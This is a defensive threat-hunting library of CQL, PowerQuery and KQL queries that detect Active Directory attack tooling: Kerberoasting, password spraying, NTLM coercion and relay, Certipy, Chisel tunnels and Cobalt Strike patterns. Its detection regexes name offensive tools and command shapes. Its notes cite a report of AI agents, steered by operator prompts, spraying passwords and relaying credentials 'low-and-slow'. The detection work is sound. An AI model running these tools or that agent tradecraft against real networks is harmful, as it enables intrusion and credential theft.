// HUNT: Domain trust and computer enumeration commands // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1482, T1018 // CONF: medium | FP: medium // FALSE POSITIVES: AD admins, inventory and migration scripts // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate and the same per-host and per-user grouping. The command-line list is reduced to one sample command line because the language has no collect aggregate. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude named AD engineering accounts and inventory service accounts. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Only one sample command line per host and user is returned; the CQL tab lists every command line. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and tgt.process.cmdline matches '.*(nltest(\\.exe)?\\s+.*(domain_trusts|dclist|trusted_domains)|Get-ADTrust|Get-ADComputer\\s+-Filter|Win32_ComputerSystem.*(Get-WmiObject|Get-CimInstance)|(Get-WmiObject|Get-CimInstance).*Win32_ComputerSystem).*' | group commands=count(), first_seen=min(event.time), last_seen=max(event.time), sample_cmdline=any(tgt.process.cmdline) by endpoint.name, src.process.user | sort -commands | limit 100
Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command lineDeviceName: DeviceAccountName: Account
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, DeviceName, AccountName, ProcessCommandLine | take 5
// HUNT: Domain trust and computer enumeration commands // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1482, T1018 // CONF: medium | FP: medium // FALSE POSITIVES: AD admins, inventory and migration scripts // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate and the same per-device and per-account grouping, with the command lines collected into a set. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude named AD engineering accounts and inventory service accounts. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: The set of command lines is capped at 10 per device and account. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(nltest(\.exe)?\s+.*(domain_trusts|dclist|trusted_domains)|Get-ADTrust|Get-ADComputer\s+-Filter|Win32_ComputerSystem.*(Get-WmiObject|Get-CimInstance)|(Get-WmiObject|Get-CimInstance).*Win32_ComputerSystem)" | summarize Commands = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), CommandLines = make_set(ProcessCommandLine, 10) by DeviceName, AccountName | sort by Commands desc | take 100
Looks for: Invoke-Kerberoast, GetUserSPNs, Rubeus kerberoast and the SPN ticket request cmdlet, in process command lines and in PowerShell script content. Sophos lists both an Invoke-Kerberoast and a PowerShell Kerberoast countermeasure. These are offensive tools with limited legitimate use. FP: Low. Authorized assessments. The match runs over the raw event text so it covers the PowerShell script-content field without depending on its field name; the event-name filter keeps the cost down.
Known limitations and deployment notes
- PowerQuery: Script-body scan telemetry (read by the CQL tab) is not available here, so a Kerberoast function loaded inside a script without a revealing command line is missed.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: PowerShell script-body telemetry (read by the CQL tab) is not part of this table, so a Kerberoast function loaded inside a script without a revealing command line is missed.
- KQL – Defender XDR assumes: ProcessCommandLine holds the full command line of the created process.
// HUNT: Kerberoasting tools and scripts (Invoke-Kerberoast, PowerShell Kerberoast) // MITRE: T1558.003 // CONF: high // FP: low // COST: medium // REQUIRES: Process creation and PowerShell script scan (CrowdStrike: ProcessRollup2, ScriptControlScanTelemetry) // FALSE POSITIVES: authorized assessments; security tooling that audits SPN accounts // TUNING: exclude the assessment host while an exercise is open #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|ScriptControlScanTelemetry)$/ | @rawstring=/(Invoke-Kerberoast|Request-SPNTicket|GetUserSPNs|Rubeus.*kerberoast|\bkerberoast\b)/i | table([@timestamp, ComputerName, UserName, #event_simpleName, FileName, CommandLine, @rawstring], limit=200)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Kerberoasting tools and scripts (Invoke-Kerberoast, PowerShell Kerberoast) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1558.003 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments; security tooling that audits SPN accounts // EQUIVALENCE: approximate-analytic - The CQL searches both process-creation text and PowerShell script-scan telemetry. SentinelOne exposes the process-creation command line here, so the same marker expression runs over that only; markers that appear solely inside a script body are not seen. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the assessment host while an exercise is open. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Script-body scan telemetry (read by the CQL tab) is not available here, so a Kerberoast function loaded inside a script without a revealing command line is missed. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and tgt.process.cmdline matches '.*(Invoke-Kerberoast|Request-SPNTicket|GetUserSPNs|Rubeus.*kerberoast|\\bkerberoast\\b).*' | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Kerberoasting tools and scripts (Invoke-Kerberoast, PowerShell Kerberoast) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1558.003 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments; security tooling that audits SPN accounts // EQUIVALENCE: approximate-analytic - The CQL searches both process-creation text and PowerShell script-scan telemetry. A hunt reads one table, so the same marker expression runs over the process-creation command line only; markers that appear solely inside a script body are not seen. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the assessment device while an exercise is open. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: PowerShell script-body telemetry (read by the CQL tab) is not part of this table, so a Kerberoast function loaded inside a script without a revealing command line is missed. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(Invoke-Kerberoast|Request-SPNTicket|GetUserSPNs|Rubeus.*kerberoast|\bkerberoast\b)" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Sophos reports the agents password-sprayed, and an operator prompt tells the agent to stop brute-forcing domain admins and use quieter methods, so expect low-and-slow. This counts distinct accounts failing from one source. Widen the window for slow sprays. FP: NAT gateways, VPN concentrators, vulnerability scanners and misconfigured service accounts produce many failures from one address.
Known limitations and deployment notes
- PowerQuery: Failed logons on controllers without the agent are invisible, and the source address field is unproven on a tenant.
- PowerQuery assumes: src.endpoint.ip.address is documented by the vendor but not seen in shipped queries; verify it is populated on failed logons before trusting an empty result.
- PowerQuery assumes: estimate_distinct is an estimate, so a count near the threshold of 10 may differ slightly from the exact CQL count.
- KQL – Defender XDR: Failed logons on controllers that are not onboarded are invisible; dcount is an estimate near the threshold of 10.
- KQL – Defender XDR assumes: RemoteIP is populated for network logon failures.
// HUNT: Password spraying: one source, many accounts, failed logons // MITRE: T1110.003 // CONF: medium // FP: medium // COST: medium // REQUIRES: Failed logon telemetry from domain controllers (CrowdStrike: UserLogonFailed2) // FALSE POSITIVES: NAT or proxy addresses; stale service credentials; scanners // TUNING: exclude known NAT, VPN and scanner source addresses; require DistinctUsers above your baseline #event_simpleName=UserLogonFailed2 | groupBy([RemoteAddressIP4, ComputerName], function=[count(UserName, distinct=true, as=DistinctUsers), count(as=Failures), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)], limit=1000) | test(DistinctUsers >= 10) | sort(DistinctUsers, order=desc, limit=100)
6 required fields · View requirements
Required telemetry
- Login
Required fields
event.time: Event timeevent.type: Event typeevent.login.loginIsSuccessful: Logon success flagsrc.endpoint.ip.address: Source addressevent.login.userName: Account nameendpoint.name: Host
Readiness test
event.type = 'Login' src.endpoint.ip.address = * | limit 5 | columns event.time, event.type, endpoint.name, src.endpoint.ip.address, event.login.userName, event.login.loginIsSuccessful
// HUNT: Password spraying: one source, many accounts, failed logons // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1110.003 // CONF: medium | FP: medium // FALSE POSITIVES: NAT or proxy addresses; stale service credentials; scanners // EQUIVALENCE: approximate-analytic - The CQL counts failed domain-controller logons per source address. SentinelOne sees a failed Login event only on endpoints that carry the agent, so the same count of distinct accounts per source address runs over those events; a domain controller without the agent contributes nothing. // REQUIRES: SentinelOne Login events from the domain controllers, which must run the agent // TUNING: Exclude known NAT, VPN and scanner source addresses; require the distinct account count to exceed your baseline. // LOOKBACK: 1d; a short window keeps the distinct count meaningful // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Failed logons on controllers without the agent are invisible, and the source address field is unproven on a tenant. // VALIDATION LEVEL: static-reviewed event.type = 'Login' and event.login.loginIsSuccessful = false and src.endpoint.ip.address = * | group distinct_users=estimate_distinct(event.login.userName), failures=count(), first_seen=min(event.time), last_seen=max(event.time) by src.endpoint.ip.address, endpoint.name | filter distinct_users >= 10 | sort -distinct_users | limit 100
Automated validation: static-passed
5 required fields · View requirements
Required telemetry
- DeviceLogonEvents
Required fields
Timestamp: Event timeActionType: ActionRemoteIP: Source addressAccountName: AccountDeviceName: Device
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceLogonEvents | where Timestamp > ago(1d) | where ActionType == "LogonFailed" | project Timestamp, ActionType, DeviceName, AccountName, RemoteIP | take 5
// HUNT: Password spraying: one source, many accounts, failed logons // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1110.003 // CONF: medium | FP: medium // FALSE POSITIVES: NAT or proxy addresses; stale service credentials; scanners // EQUIVALENCE: approximate-analytic - The CQL counts failed domain-controller logons per source address. DeviceLogonEvents records failed logons only on devices onboarded to Defender for Endpoint, so the same count of distinct accounts per source address runs over those rows; a domain controller that is not onboarded contributes nothing. // REQUIRES: Defender for Endpoint logon telemetry (DeviceLogonEvents) from the domain controllers // TUNING: Exclude known NAT, VPN and scanner source addresses; require the distinct account count to exceed your baseline. // LOOKBACK: 1d; a short window keeps the distinct count meaningful // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Failed logons on controllers that are not onboarded are invisible; dcount is an estimate near the threshold of 10. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceLogonEvents | where Timestamp >= ago(1d) | where ActionType == "LogonFailed" | where isnotempty(RemoteIP) | summarize DistinctUsers = dcount(AccountName), Failures = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp) by RemoteIP, DeviceName | where DistinctUsers >= 10 | sort by DistinctUsers desc | take 100
Looks for: PetitPotam, a coercion tool named in Sophos as Coerce Plus, PrinterBug (SpoolSample), and Impacket's relay modules by name or command line. Sophos, citing Gambit, says the agents attempted NTLM relay through these and relayed the result with an Impacket module. All are offensive or dual-use, so this is detect-only. FP: Low. Authorized assessments. The coerce token is deliberately loose so it also catches renamed variants, which can match benign scripts that use the word.
Known limitations and deployment notes
- PowerQuery: A renamed tool with no telltale command line is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed tool with no telltale command line is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: NTLM coercion and relay tooling (PetitPotam, Coerce Plus, PrinterBug, Impacket relay) // MITRE: T1187, T1557.001 // CONF: high // FP: low // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: authorized assessments; scripts that happen to contain the word coerce // TUNING: exclude the assessment host; review any coerce-only match by hand before escalating #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|coercer)(\.exe|\.py)?$/i or CommandLine=/(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|\bcoerce)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: NTLM coercion and relay tooling (PetitPotam, Coerce Plus, PrinterBug, Impacket relay) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1187, T1557.001 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments; scripts that happen to contain the word coerce // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a coercion or relay tool binary name, or a tool marker anywhere in the command line. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the assessment host; review any match on the word coerce alone by hand before escalating. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed tool with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|coercer)(\\.exe|\\.py)?$' or tgt.process.cmdline matches '.*(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|\\bcoerce).*') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: NTLM coercion and relay tooling (PetitPotam, Coerce Plus, PrinterBug, Impacket relay) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1187, T1557.001 // CONF: high | FP: low // FALSE POSITIVES: authorized assessments; scripts that happen to contain the word coerce // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a coercion or relay tool binary name, or a tool marker anywhere in the command line. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the assessment device; review any match on the word coerce alone by hand before escalating. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed tool with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|coercer)(\.exe|\.py)?$" or ProcessCommandLine matches regex @"(?i)(petitpotam|spoolsample|printerbug|ntlmrelayx|krbrelayx|\bcoerce)" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Certipy subcommands for finding vulnerable templates, requesting certificates and authenticating with them. Sophos lists a Certipy output-file countermeasure and says the agents used Certipy for certificate attacks. Certipy is also used by defenders auditing AD CS, so it is detect-only. FP: Low. AD CS audits by your own team produce the same commands.
Known limitations and deployment notes
- PowerQuery: A renamed tool with no telltale command line is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed tool with no telltale command line is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: Certipy certificate abuse // MITRE: T1649 // CONF: high // FP: low // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: AD CS audits by defenders; authorized assessments // TUNING: exclude the audit host while an AD CS review is open #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^certipy(-ad)?(\.exe)?$/i or CommandLine=/\bcertipy(-ad)?(\.exe)?\s+(find|req|auth|shadow|ca|template|account|relay|forge|cert)\b/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Certipy certificate abuse // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1649 // CONF: high | FP: low // FALSE POSITIVES: AD CS audits by defenders; authorized assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tool binary name, or the tool name followed by one of its sub-commands in the command line. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude the audit host while a certificate services review is open. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed tool with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^certipy(-ad)?(\\.exe)?$' or tgt.process.cmdline matches '.*\\bcertipy(-ad)?(\\.exe)?\\s+(find|req|auth|shadow|ca|template|account|relay|forge|cert)\\b.*') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Certipy certificate abuse // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1649 // CONF: high | FP: low // FALSE POSITIVES: AD CS audits by defenders; authorized assessments // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tool binary name, or the tool name followed by one of its sub-commands in the command line. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the audit device while a certificate services review is open. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed tool with no telltale command line is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^certipy(-ad)?(\.exe)?$" or ProcessCommandLine matches regex @"(?i)\bcertipy(-ad)?(\.exe)?\s+(find|req|auth|shadow|ca|template|account|relay|forge|cert)\b" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Chisel in client or server mode, especially with a reverse SOCKS listener. Sophos lists a Chisel SOCKS tunnel countermeasure, and operators supplied the agents SOCKS access. Chisel is a legitimate open-source tunnelling tool, so it is detect-only. FP: Low. Some developers and admins use Chisel for port forwarding.
Known limitations and deployment notes
- PowerQuery: A renamed binary run without the reverse SOCKS argument or a sub-command is not matched, the same as the CQL tab.
- PowerQuery assumes: tgt.process.name is the created process name.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed binary run without the reverse SOCKS argument or a sub-command is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: FileName holds the created process name.
// HUNT: Chisel SOCKS tunnel // MITRE: T1090, T1572 // CONF: high // FP: low // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: developers and admins using it for sanctioned forwarding // TUNING: exclude named developer accounts; review any hit on a server #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^chisel(_[a-z0-9_.]+)?(\.exe)?$/i or CommandLine=/\bchisel(\.exe)?\s+(client|server)\b/i or CommandLine=/\bR:(\d+:)?socks\b/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Chisel SOCKS tunnel // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1090, T1572 // CONF: high | FP: low // FALSE POSITIVES: developers and admins using it for sanctioned forwarding // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tunnel tool binary name, its client or server sub-command, or the reverse SOCKS forwarding argument. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude named developer accounts; review any hit on a server. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary run without the reverse SOCKS argument or a sub-command is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.name matches '^chisel(_[a-z0-9_.]+)?(\\.exe)?$' or tgt.process.cmdline matches '.*\\bchisel(\\.exe)?\\s+(client|server)\\b.*' or tgt.process.cmdline matches '.*\\bR:(\\d+:)?socks\\b.*') | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Chisel SOCKS tunnel // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1090, T1572 // CONF: high | FP: low // FALSE POSITIVES: developers and admins using it for sanctioned forwarding // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the tunnel tool binary name, its client or server sub-command, or the reverse SOCKS forwarding argument. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude named developer accounts; review any hit on a server. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed binary run without the reverse SOCKS argument or a sub-command is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^chisel(_[a-z0-9_.]+)?(\.exe)?$" or ProcessCommandLine matches regex @"(?i)\bchisel(\.exe)?\s+(client|server)\b" or ProcessCommandLine matches regex @"(?i)\bR:(\d+:)?socks\b" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Falcon has no dedicated event for named-pipe creation, so this watches the command shape that writes to a local pipe: echo redirected to a \\.\pipe\ path, the pattern behind the Cobalt Strike privilege-escalation technique. Sophos lists a Cobalt Strike named-pipe file-modification countermeasure. Sysmon pipe events, in the native hunts section, are the real answer. FP: Medium. Some admin scripts write to pipes. This is a proxy and a documented coverage gap.
Known limitations and deployment notes
- PowerQuery: Pipe writes made by an API call rather than a command line are not captured, the same as the CQL tab.
- PowerQuery assumes: The character classes [\\] and [.] stand for one literal backslash and one literal dot, so the expression reproduces the CQL pattern without relying on long runs of escaped backslashes.
- KQL – Defender XDR: Pipe writes made by an API call rather than a command line are not captured, the same as the CQL tab.
- KQL – Defender XDR assumes: The character classes stand for one literal backslash and one literal dot, so the expression reproduces the CQL pattern.
// HUNT: Cobalt Strike named-pipe command shape (getsystem style) // MITRE: T1134, T1559 // CONF: medium // FP: medium // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: admin scripts that talk to a local pipe // TUNING: exclude known software that echoes to a pipe; correlate with a service or SYSTEM token change #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/echo\s.*>\s*\\\\\.\\pipe\\/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Cobalt Strike named-pipe command shape (getsystem style)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1134, T1559
// CONF: medium | FP: medium
// FALSE POSITIVES: admin scripts that talk to a local pipe
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a command line that echoes to a local named pipe, written as a character-class expression for the double-backslash, dot and pipe prefix.
// REQUIRES: SentinelOne process-creation telemetry with the command line
// TUNING: Exclude known software that echoes to a pipe; correlate with a service or SYSTEM token change.
// LOOKBACK: 7d; set in the console time picker
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Pipe writes made by an API call rather than a command line are not captured, the same as the CQL tab.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and tgt.process.cmdline matches '.*echo\\s.*>\\s*[\\\\]{2}[.][\\\\]pipe[\\\\].*'
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline
| limit 200Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Cobalt Strike named-pipe command shape (getsystem style)
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1134, T1559
// CONF: medium | FP: medium
// FALSE POSITIVES: admin scripts that talk to a local pipe
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a command line that echoes to a local named pipe, written as a character-class expression for the double-backslash, dot and pipe prefix.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: Exclude known software that echoes to a pipe; correlate with a service or SYSTEM token change.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Pipe writes made by an API call rather than a command line are not captured, the same as the CQL tab.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where ProcessCommandLine matches regex @"(?i)echo\s.*>\s*[\\]{2}[.][\\]pipe[\\]"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| sort by Timestamp desc
| take 200Looks for: A process started by the service control manager whose command line chains cmd into PowerShell or runs encoded or hidden PowerShell. Sophos lists a Cobalt Strike stager persistence countermeasure. This is the service-launch shape, not a signature of the stager. FP: Some management and legacy software starts PowerShell from a service.
Known limitations and deployment notes
- PowerQuery: A service whose payload is launched through an intermediate process is not matched, the same as the CQL tab.
- PowerQuery assumes: On a Process Creation event src.process.name is the creator process.
- PowerQuery assumes: matches is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A service whose payload is launched through an intermediate process is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: InitiatingProcessFileName is the direct creator of the process.
// HUNT: Cobalt Strike stager persistence: service-launched encoded PowerShell // MITRE: T1543.003, T1059.001 // CONF: medium // FP: medium // COST: low // REQUIRES: Process creation with parent and command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: management agents; legacy services that launch PowerShell // TUNING: exclude named management agents by hash or signer; keep the encoded and hidden-window variants #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^services(\.exe)?$/i | CommandLine=/(cmd(\.exe)?\s+\/[ck]\s+.*powershell|powershell.*(-nop|-noni|-w\s+hidden|-enc|-encodedcommand))/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
